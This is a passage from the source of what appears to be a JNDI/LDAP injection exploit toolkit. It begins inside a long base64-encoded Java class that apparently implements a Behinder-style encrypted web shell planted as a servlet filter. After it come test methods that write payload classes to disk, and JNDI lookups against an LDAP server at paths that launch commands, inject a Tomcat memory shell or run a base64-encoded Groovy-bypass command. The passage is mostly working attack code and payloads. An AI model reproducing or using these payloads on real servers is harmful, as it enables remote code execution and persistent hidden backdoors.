lc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEAFmdldEJlaGluZGVyU2hlbGxQd2RQd2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQANZ2V0U3VwZXJjbGFzcwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsAIQBaAD8AAQBbAAEAAgBcAF0AAAAFAAEAXgBfAAEAYAAAADsAAQABAAAACSq3AAEqtwACsQAAAAIAYQAAAA4AAwAAABMABAAUAAgAFQBiAAAADAABAAAACQBjAGQAAAABAGUAZgACAGAAAAA1AAAAAgAAAAGxAAAAAgBhAAAABgABAAAAGgBiAAAAFgACAAAAAQBjAGQAAAAAAAEAZwBoAAEAaQAAAAQAAQBqAAEAawBsAAIAYAAAAuEABwAKAAABprIAAxIEtgAFKxIGuQAHAgDGAJArEga5AAcCABIItgAJmQCAK7gACrkABwIAOgQZBMYAbRkEtgALmgBlAToFsgAMEg22AAmZABsGvQAOWQMSD1NZBBIQU1kFGQRTOgWnABgGvQAOWQMSEVNZBBISU1kFGQRTOgW7ABNZuAAUGQW2ABW2ABa3ABcSGLYAGbYAGjoGLLkAGwEAGQa2ABynAQgrwAAduAAeuQAfAgDGAPErwAAduQAgAQASIbYACZkA07gAIjoEK8AAHbkAIwEAEiQZBLkAJQMAEia4ACc6BRkFBbsAKFm7AClZtwAqK8AAHbkAIwEAEiS5ACsCALYALBIttgAutgAvtgAwEia3ADG2ADIZBbsAM1m3ADQruQA1AQC2ADa2ADe2ADg6Biq0ADkSOgW9ADtZAxI8U1kEEj1TtgA+AQW9AD9ZAxkGU1kEuABAtgBBU7YAQsAAOzoHGQe2AEM6CBkHEkQFvQA7WQMSRVNZBBJGU7YAPjoJGQkZCAW9AD9ZAytTWQQsU7YAQlenABU6BBkEtgBIpwALLSssuQBJAwCxAAEArwGQAZMARwADAGEAAABuABsAAAAeAAgAIQAjACMALgAkADsAJQA+ACYASQAnAGEAKQB2ACsAkgAsAJ0ALgCvADEAwAAyAMUAMwDXADQA3gA1ARIANgEsADcBXgA4AWUAOQF8ADoBkAA+AZMAPAGVAD0BmgA+AZ0AQAGlAEIAYgAAAI4ADgA+AF8AbQBuAAUAkgALAG8AcAAGAC4AbwBxAHAABADFAMsAcgBwAAQA3gCyAHMAdAAFASwAZAB1AHYABgFeADIAdwBdAAcBZQArAHgAeQAIAXwAFAB6AHsACQGVAAUAfAB9AAQAAAGmAGMAZAAAAAABpgB+AH8AAQAAAaYAgACBAAIAAAGmAIIAgwADAIQAAAAZAAj9AGEHAIUHAIYU+QAmAvsA70IHAIcJBwBpAAAABgACAFYAagABAIgAXwABAGAAAAArAAAAAQAAAAGxAAAAAgBhAAAABgABAAAARwBiAAAADAABAAAAAQBjAGQAAAACAIkAXwABAGAAAAIDAAcABwAAAKm4AEC2AEFMKisSSrYAS7UAOacAf00rtgBNTgE6BBkExwAzLRI/pQAtLRI6Br0AO1kDEjxTWQSyAE5TWQWyAE5TtgA+OgSn/9g6BS22AFBOp//OElE6BbsAM1m3ADQZBbYANzoGGQQEtgBSKhkEKwa9AD9ZAxkGU1kEA7gAU1NZBRkGvrgAU1O2AELAADu1ADmnABhMK7YAVacAEEwrtgBXpwAITCu2AFmxAAUABwARABQATAAoAEUASABPAAAAkACTAFQAAACQAJsAVgAAAJAAowBYAAMAYQAAAGoAGgAAAEsABwBNABEAXQAUAE4AFQBPABoAUAAdAFEAKABTAEUAVgBIAFQASgBVAE8AVgBSAFkAVgBaAGQAWwBqAFwAkABkAJMAXgCUAF8AmABkAJsAYACcAGEAoABkAKMAYgCkAGMAqABlAGIAAABwAAsASgAFAIoAiwAFABoAdgCMAF0AAwAdAHMAjQB7AAQAVgA6AI4AcAAFAGQALACPAHYABgAVAHsAfACQAAIABwCJAJEAkgABAJQABAB8AJMAAQCcAAQAfACUAAEApAAEAHwAlQABAAAAqQBjAGQAAACEAAAAOgAJ/wAUAAIHAJYHAJcAAQcAmP4ACAcAmAcAmQcAmmoHAJsJ/wA9AAEHAJYAAEIHAJxHBwCdRwcAngQAAQCfAAAAAgCg"; FileOutputStream fous = new FileOutputStream("1.class"); fous.write(Util.base64Decode(base64String)); fous.close(); } @Test public void test2() throws Exception { String code = Util.getClassCode("com.feihong.ldap.template.MyClassLoader"); FileOutputStream fous = new FileOutputStream("Test1.class"); fous.write(Util.base64Decode(code)); fous.close(); System.out.println(code); } @Test public void test3() throws Exception { String code = Util.getClassCode("com.feihong.ldap.template.DynamicFilterTemplate"); FileOutputStream fous = new FileOutputStream("Test2.class"); fous.write(Util.base64Decode(code)); fous.close(); System.out.println(code); } } ================================================ FILE: src/test/java/TestProgram.java ================================================ import javax.naming.InitialContext; import javax.naming.NamingException; public class TestProgram { @org.junit.Test public void test() throws NamingException { InitialContext context = new InitialContext(); // context.lookup("ldap://127.0.0.1:1389/groovybypass/command/base64/ZWNobyAiaG93IGRvIHlvdSBkbz8iID4gRDovMTIzNDU2LnR4dA=="); // context.lookup("ldap://127.0.0.1:1389/basic/tomcatmemshell"); context.lookup("ldap://127.0.0.1:1389/basic/command/calc"); } @org.junit.Test public void test2() throws NamingException { InitialContext context = new InitialContext(); // context.lookup("ldap://127.0.0.1:1389/groovybypass/command/base64/ZWNobyAiaG93IGRvIHlvdSBkbz8iID4gRDovMTIzNDU2LnR4dA=="); context.lookup("ldap://127.0.0.1:1389/basic/tomcatmemshell"); } }